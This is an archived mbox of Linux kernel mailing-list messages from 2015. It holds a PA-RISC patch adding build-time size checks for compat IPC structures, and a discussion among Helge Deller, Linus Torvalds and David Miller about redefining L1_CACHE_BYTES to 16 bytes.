 q/VHA82G2z5cyzFvVwK+cEEfigqgVjujqzWTEAHMgeVssVpgE9UQ9X5eTBCVHH+mp3t972edU
 ZdAQYMT18DHGJ43KsAwOB+r41ANqcT70ujHzc7LzyKi3CRRSBKzCQSwgDB1RV0W4FRHPjIV+X
 lsfM+WeG1bQgWx2CidjDOFLXR8bI1imWXE1SrvyQ0vlbehDfeMZ0pk0fmrYkSEEEth6YsWaYU
 7auoG/lrqYJhwcTNYjKxDe7wn2lUAFsv6TgkqEhq4ms4qtdE4HLyLYhrshRs8IWsLRVTvEEag
 +EmAiteQTcc55W500NT9A34wcmrEpWqASyYnaaSF406zdmVpq+OBO6gvON+a0jE+uTfCtO9Zq
 Hg7MYvKfm24V2IZEmB724jcjF31LRHdO1sMy4wd3HVIoS0MxIInea8OVkus=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26106
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26106>

Ensure that the size of various compat ipc structs are the same as of
the native kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index c229427..f2ee988 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -23,6 +23,7 @@
 #include <linux/unistd.h>
 #include <linux/nodemask.h>	/* for node_online_map */
 #include <linux/pagemap.h>	/* for release_pages and page_cache_release */
+#include <linux/compat.h>
 
 #include <asm/pgalloc.h>
 #include <asm/pgtable.h>
@@ -30,6 +31,7 @@
 #include <asm/pdc_chassis.h>
 #include <asm/mmzone.h>
 #include <asm/sections.h>
+#include <asm/msgbuf.h>
 
 extern int  data_start;
 extern void parisc_kernel_start(void);	/* Kernel entry point in head.S */
@@ -590,6 +592,14 @@ unsigned long pcxl_dma_start __read_mostly;
 
 void __init mem_init(void)
 {
+#ifdef CONFIG_COMPAT
+	/* Do sanity checks on compat structures */
+	BUILD_BUG_ON(sizeof(struct compat_ipc64_perm) != sizeof(struct ipc64_perm));
+	BUILD_BUG_ON(sizeof(struct compat_msqid64_ds) != sizeof(struct msqid64_ds));
+	BUILD_BUG_ON(sizeof(struct compat_semid64_ds) != sizeof(struct semid64_ds));
+	BUILD_BUG_ON(sizeof(struct compat_shmid64_ds) != sizeof(struct shmid64_ds));
+#endif
+
 	/* Do sanity checks on page table constants */
 	BUILD_BUG_ON(PTE_ENTRY_SIZE != sizeof(pte_t));
 	BUILD_BUG_ON(PMD_ENTRY_SIZE != sizeof(pmd_t));
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Add build-time sanity checks for compat ipc
 struct sizes
Date: Thu, 29 Oct 2015 22:59:48 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <563296D4.8060203@gmx.de>
References: <20151028223010.GA27319@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1446156044 332 80.91.229.3 (29 Oct 2015 22:00:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 29 Oct 2015 22:00:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 29 23:00:29 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZrvFC-0005kC-8j
	for glpp-linux-parisc@plane.gmane.org; Thu, 29 Oct 2015 23:00:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757497AbbJ2WAQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2015 18:00:16 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52792 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757528AbbJ2V77 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2015 17:59:59 -0400
Original-Received: from [192.168.20.60] ([92.203.5.49]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MhRI2-1a4cWi4C5C-00McUr; Thu, 29 Oct 2015 22:59:51
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20151028223010.GA27319@ls3530.box>
X-Provags-ID: V03:K0:dlOchVHTSc1uhFsSWswlDUGOomLcQQybpOtNj6pUHp4Phplm1YU
 H0JoDe2qvLM6g8bCkK/R7+p9GgZyBdqG3yGHQ38NanUYcky9A/o9Sb7ot537H7BCgOBIYSK
 LwmRMsuRbU0TOheEkUxOFMKk4YfV1I89U+RmwZjjQaogHP8pnAD5+aj+kSWahMx1yU7gOqx
 OgNQre2rWF9A1ukwNnfhg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:iKRWteCxkMc=:oD2P6D3oSciB0HousSo86i
 qcMaKSlxLhfZkH8DEuS50PRlTeNgh7BhY+dbdRqN/VavY2O+JR4m7qjfvFmhDBpb3pSgyVlXD
 ZjcBXvoN3KlLjLYZ2yhJFbPhzJbVxkMhAswUGcbYH94B87chv2VTllW9gMMvcpTu2KtI6PbPM
 8zRlcBEdrxd0nzhKos/kvvVJIicddCB9rtVW+ROuYPMBSjfYYnTCu4tJ9+qfuJgIxpbrtxg3L
 kxZRRSAgr6ENT9U++1/VuMwjqgkzOb6WxQDiVa7EGwRDo9D6Vy2lTLhgeKeByFwFG6OcXgujC
 /e87cQaJLyqxVN2Em9V/0TRE/tvZMMIOVdl7zXqF9mkP3M2pf5xUrW1aKrWHUfNyY3Q5J4Av1
 ICj3p6gttugdYHF48a2nSb1gAV38rAfyrt1hMoWlTBDHMOeQs91TzpBRSGKXv1nZe3tQlNMT0
 Jz96mcj39bjCj8YeZrIpn8XronBQxplLtf4RqZScXS7eetKNmgkkrPLUmTaSvmniRRg73ygn+
 e/dh6zprWB+KZMOP5mUCPP44pY5fXT6XPq1iorLeJi3wqH6h8wbaZHZbIlXfVzXwbmNTJYhYI
 hcc8xOIGDK1wlcYj8PPEhIukmWHZeyT+GdSI82tTHWqXnM/LUTt0EaJJhUcMb5tFLoEyfNnKg
 GNR3trCzfvbnFyRwwLWkpXiqIuW+SpxlzKvUl/g1jEqFlnWXaqxDjMaXAG58h3cVZPnuAT2EK
 VNRIwLjLY6HOkW/rGxlnZGL3EuX62jyS/+iFfCbZMYnYY8roH/m57KKhkPUFSHcw3O947SU9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26107
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26107>

On 28.10.2015 23:30, Helge Deller wrote:
> Ensure that the size of various compat ipc structs are the same as of
> the native kernel.

I've pushed all of my patches (with modifications to what I sent earlier) to 
fix the IPC structs into the compat-patches branch of my git tree.
If someone wants to test, please pull from here:
 git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git compat-patches

It's based on the sources of kernel 3.18 but merges cleanly up to git head.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 3 Nov 2015 13:01:21 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
References: <20151025114934.GA11108@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1446584497 29914 80.91.229.3 (3 Nov 2015 21:01:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 21:01:37 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Network Development <netdev@vger.kernel.org>
To: Helge Deller <deller@gmx.de>, David Miller <davem@davemloft.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 03 22:01:30 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ztiho-0001Tv-40
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Nov 2015 22:01:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932610AbbKCVBX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Nov 2015 16:01:23 -0500
Original-Received: from mail-ig0-f177.google.com ([209.85.213.177]:36368 "EHLO
	mail-ig0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932572AbbKCVBW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Nov 2015 16:01:22 -0500
Original-Received: by igdg1 with SMTP id g1so90002200igd.1;
        Tue, 03 Nov 2015 13:01:21 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=v1y3Y2weLtu75LEXIqC5yGVEyMpwkR20w1HefEH9uC4=;
        b=szeSkpJRRduNxAaoeLiHsJeiG6/4qZWWNyek2yzMqOroLGky3aZXRf1SsqP3t8knjV
         i3grm/UHx9IDHtUyjjqme5e49N8w8CXYgpUZCavsEr74n4xuCcJrTMwh68TytavFm2lL
         fmmBo9i1xOq0YourWmAi/+J7Jf+idbcljxAgqyztMAkulqB8Ja48qBrB85JBt/Ibd2r8
         on8xAdlNd8CWyzcYYIGvmHqtwzQKiVMx27xS/Fu0ny7E4ENAT1Mk9GCistiCI2nSzONG
         CkD6eMzdUuGZ8aA4TsmeT3s+0f5d9orep7GWqszAo3kbaRukkxcdGgpwRFsNLnXApQPw
         YGcg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=v1y3Y2weLtu75LEXIqC5yGVEyMpwkR20w1HefEH9uC4=;
        b=JZJ9/htbRIUBZ7lEQBDeSDhiqEUgJvmTX1J7f72vi93tkfHfqRaGfpGjWtsOJe1ihB
         iGp0FU8cH5n+hhSQWzKPrRm0dGRTyNAV3CBSSN9gchaLiXHIdmThCsYuStW0IKYv8aRA
         63ppZSeVcxVuU+jUmYlpcJQBw2OJpsfYI8XBg=
X-Received: by 10.50.124.98 with SMTP id mh2mr18412047igb.25.1446584481449;
 Tue, 03 Nov 2015 13:01:21 -0800 (PST)
Original-Received: by 10.36.124.150 with HTTP; Tue, 3 Nov 2015 13:01:21 -0800 (PST)
In-Reply-To: <20151025114934.GA11108@ls3530.box>
X-Google-Sender-Auth: EKHyAaOWxCouZgJUVXKzOSObsu8
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26109 gmane.linux.kernel:2077453 gmane.linux.network:385813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26109>

On Sun, Oct 25, 2015 at 4:49 AM, Helge Deller <deller@gmx.de> wrote:
>
> please pull some patches for the parisc architecture for kernel v4.3 from:

So no way was I going to pull that for 4.3, and I delayed it to the
merge window.

However, even now that we're in the merge window, and I look at it again:

> The most important change is that we reduce L1_CACHE_BYTES to 16 bytes, for
> which a trivial patch for XPS in the network layer was needed.

I'd really want the network people involved with that change, and I'm
also wondering why you seem to want to re-define L1_CACHE_BYTES to
something that it isn't.

I doubt the PA-RISC L1 cacheline really is 16 bytes. So this seems to
be more of a hack around the fact that some data structures may be
over-aligned, and using that L1_CACHE_BYTES for aligning things that
really don't want to be that aligned. Maybe it casues less sharing,
but if it does so at the cost of excessive memory use, it's still
wrong.

But that in turn says to me "We should fix the *real* problem, rather
than hack around it by having PA-RISC lie about its L1 cache size".

Is there any particular over-alignment that you have determined to be
the real problem?

Also, just looking at other things, we currently do have openrisc that has

  #define L1_CACHE_BYTES 16

so presumably openrisc would have had an issue with that XPS thing,
and how XPS_MIN_MAP_ALLOC can go negative for a 16-byte case (well,
it's zero on 32-bit architectures).

David: the issue wrt XPS is this:

   #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))   \
       / sizeof(u16))

Comments?

               Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.network,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 03 Nov 2015 16:33:24 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <20151103.163324.221668446986372734.davem@davemloft.net>
References: <20151025114934.GA11108@ls3530.box>
	<CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1446586439 28669 80.91.229.3 (3 Nov 2015 21:33:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 21:33:59 +0000 (UTC)
Cc: deller@gmx.de, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@bell.net,
	netdev@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: netdev-owner@vger.kernel.org Tue Nov 03 22:33:50 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZtjD5-0005h9-NZ
	for linux-netdev-2@plane.gmane.org; Tue, 03 Nov 2015 22:33:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964979AbbKCVdb (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Tue, 3 Nov 2015 16:33:31 -0500
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:47886 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755245AbbKCVd3 (ORCPT
	<rfc822;netdev@vger.kernel.org>); Tue, 3 Nov 2015 16:33:29 -0500
Original-Received: from localhost (nat-pool-rdu-t.redhat.com [66.187.233.202])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id EF7D9585BE6;
	Tue,  3 Nov 2015 13:33:27 -0800 (PST)
In-Reply-To: <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
X-Mailer: Mew version 6.6 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Tue, 03 Nov 2015 13:33:29 -0800 (PST)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:385824 gmane.linux.kernel:2077468 gmane.linux.ports.parisc:26110
Archived-At: <http://permalink.gmane.org/gmane.linux.network/385824>

From: Linus Torvalds <torvalds@linux-foundation.org>
Date: Tue, 3 Nov 2015 13:01:21 -0800

> David: the issue wrt XPS is this:
> 
>    #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))   \
>        / sizeof(u16))
> 
> Comments?

The PARISC folks did discuss this with us networking folks...

	http://marc.info/?t=144554413000001&r=1&w=2

From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Tue, 3 Nov 2015 14:07:11 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <CA+55aFzXv9KcyHJ4SfiL3Jihz6ObyiDPnbCnfy7HwAbXUsXf_A@mail.gmail.com>
References: <20151025114934.GA11108@ls3530.box>
	<CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
	<20151103.163324.221668446986372734.davem@davemloft.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1446588460 28252 80.91.229.3 (3 Nov 2015 22:07:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 22:07:40 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Jej B <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Network Development <netdev@vger.kernel.org>
To: David Miller <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Nov 03 23:07:32 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Ztjjl-0002XR-H9
	for glk-linux-kernel-3@plane.gmane.org; Tue, 03 Nov 2015 23:07:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965050AbbKCWHT (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Nov 2015 17:07:19 -0500
Original-Received: from mail-io0-f176.google.com ([209.85.223.176]:32980 "EHLO
	mail-io0-f176.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755107AbbKCWHM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Nov 2015 17:07:12 -0500
Original-Received: by iodd200 with SMTP id d200so34501599iod.0;
        Tue, 03 Nov 2015 14:07:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=FG0A5kUI6AvMWfgM6rSfAkXtzNg/qyzwjaeyxZSR1qY=;
        b=YDg/Sh96IDb95yWHt1uyjW8PI56L2UmpJZwICdJmSm1elND/fBsFykQc5lgLrDX8Xt
         M6oKavwBF+9MH33swMa2y3yMaNxf9Uumu3hgBIsqS5wYf3fn7K2O/CAGinD0G/deKWVG
         gzfMAxj2fHB3PP/6cEWPf0BRY9e3OP+eYVpJ2TMJIxWa+92mtQ2xo6Q+8yDew3fc2DTp
         zR8gcA8mvXVEe5N78erXz/duHhZgJAgNsQdptkkIaCY8g6ZW1P1v6nUKE9h7x7WYxbhV
         mS3yWOU9wgB0eUcN/nZ316y0ovk1X1e4X8NLVcBcdCFmVtOsavUziZumnV2FSEb7R08O
         Orhg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=FG0A5kUI6AvMWfgM6rSfAkXtzNg/qyzwjaeyxZSR1qY=;
        b=A4lmxJQKyqd3AnPalNzJmAwq/R8ef9ORBW1gtvAZtppXzgGxVytBsiWvdo5r5kwc/K
         Lug/oIYtuQXLskxzxCHRpXotO/0GId+z5BvjEvbmZaFp1/5DLvPBQGV3fjYE3O4WxhUK
         p9IEtdut676nkJZ3rWQycgDXdC/KxjRoaJwXk=
X-Received: by 10.107.34.144 with SMTP id i138mr35604165ioi.137.1446588431182;
 Tue, 03 Nov 2015 14:07:11 -0800 (PST)
Original-Received: by 10.36.124.150 with HTTP; Tue, 3 Nov 2015 14:07:11 -0800 (PST)
In-Reply-To: <20151103.163324.221668446986372734.davem@davemloft.net>
X-Google-Sender-Auth: 8tQYhC9n9FaOq5N0aQ9ezA-BMmM
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2077487 gmane.linux.ports.parisc:26111 gmane.linux.network:385837
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2077487>

On Tue, Nov 3, 2015 at 1:33 PM, David Miller <davem@davemloft.net> wrote:
>
>> David: the issue wrt XPS is this:
>>
>>    #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))   \
>>        / sizeof(u16))
>>
>> Comments?
>
> The PARISC folks did discuss this with us networking folks...
>
>         http://marc.info/?t=144554413000001&r=1&w=2

Ok. So that still leaves the "is it sane to lie about your
L1_CACHE_BYTES" question...

               Linus

From - Thu Nov 08 21:37:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: [GIT PULL] parisc architecture updates for v4.3
Date: Wed, 4 Nov 2015 00:03:34 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <56393D46.6060903@gmx.de>
References: <20151025114934.GA11108@ls3530.box>
 <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1446591864 15933 80.91.229.3 (3 Nov 2015 23:04:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Nov 2015 23:04:24 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Network Development <netdev@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Nov 04 00:04:15 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1Ztkcf-0002AN-Gg
	for glk-linux-kernel-3@plane.gmane.org; Wed, 04 Nov 2015 00:04:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965251AbbKCXEB (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 3 Nov 2015 18:04:01 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:56819 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S965023AbbKCXD4 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 3 Nov 2015 18:03:56 -0500
Original-Received: from [10.1.52.2] ([134.3.238.122]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MJSx9-1Zronv420Z-0034VN; Wed, 04 Nov 2015 00:03:41
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CA+55aFyJyY1FE_1k6Ks-2j4nYr7cbde_KvZ=J3fMUFJG5Okijg@mail.gmail.com>
X-Provags-ID: V03:K0:oYx38rBRWoe5i8lv0xi19NKd88LNf770+iQ4xWLpPtSnCtgAn3Z
 AOoV7u9iEaoTV+NMibpvIilJ8D6fg7ZbZwfEd89+L3/HfA4xDAbK8aGWjAHrjGxJQcpOose
 HvO+3oz3Yd8hDq1m9vEyaT6OKQBJ4u8pq52aFjVyMfQg+SsFhqgvFB9YgMQLlcmHVqG/Q5c
 F5cPOr1ktxeyCtyPPrn4g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:pVoIyZXyMas=:zUIuiFtTuHTcwHGecfTe7n
 nXZfgWvMAC7CwuaGvcWv1JwEx6wedrYOjaziYprYiL54lujnC9KOrI9f9FqDN9Z5iYbM3iA+L
 YeSKU4QFZ/I6YlTjDk2CywgJ2gNCSV3SMkjoKGBv0HxoCqec4NO6ft/x3PduuqYLhFg+H/G5f
 aPWmS3iPzw9tAzmObNHPX1xiC70hwyXBivDtdrXdAwZSGf3JV5ic5wF3y9uPrn9uzY24E+/Wn
 OB5Ui5rZ1pngwPr1AEG+GwS6y+qqpp2jdhuoM/YOl3/sTFY4e2JuaJE5viRGtD+j8EGpcDdbp
 yKLu3tvWNsUT0vgpGh+TI2r72SdIScA2UjHskOmJvk4iMxOiu2G67naxfCr9gekTZzIVTXYp7
 0Le+4QfeNaG6J1af/mjsckJxzOMiPhrw7IApyZl/cSHtYWZEdpEweGpGd7/32lbUsp+Hm91u+
 W4NUEE9tktpHtXVjSy5oh4dmjj4tW9QycybBAe+/Jr/fgr77nTSfH7om7+RyH1PjX5ipufJxd
 5pbshF7ZHac6uYFB9eOGzXXFMw73eoWWXL5FuPzXD+L0365kPlOxgJjEdLFfQFXMVrer6OB8S
 fr1b/Tad3nCsyNoCZntchj1ja49iqqU4W3dT2ntR2RApAMP0TdUu0i1duOPhUMw3iNuV+qpSv
 Xe8PHhi6NIAPg0lDZI/JeBycIvPZvWE67S349E2YMHnC9iUj+QthEYkI4Ltjev1Rm2Rs2rVFf
 XoeA1C2FOL7vVaDrh878gXQAC7e38qJN6ghD0JCLmGNuN2td273FdvfK1W1zehmQO4SkgH9Y 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2077509 gmane.linux.ports.parisc:26112 gmane.linux.network:385845
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2077509>

Hi Linus,

On 03.11.2015 22:01, Linus Torvalds wrote:
> On Sun, Oct 25, 2015 at 4:49 AM, Helge Deller <deller@gmx.de> wrote:
>>
>> please pull some patches for the parisc architecture for kernel v4.3 from:
> 
> So no way was I going to pull that for 4.3,

Yes, since you didn't pulled I assumed you saw some kind of problem with the patches.
Maybe it's even my fault, because I should have explained some more in the pull request,
e.g. that all patches were discussed with the various stakeholders, and e.g. that
I was late in sending this pull request, because I was waiting for some benchmark results.

> and I delayed it to the merge window.

Ok.
 
> However, even now that we're in the merge window, and I look at it again:
> 
>> The most important change is that we reduce L1_CACHE_BYTES to 16 bytes, for
>> which a trivial patch for XPS in the network layer was needed.
> 
> I'd really want the network people involved with that change, 

As David already answered, it was discussed with them:
http://marc.info/?t=144554413000001&r=1&w=2

> and I'm
> also wondering why you seem to want to re-define L1_CACHE_BYTES to
> something that it isn't.
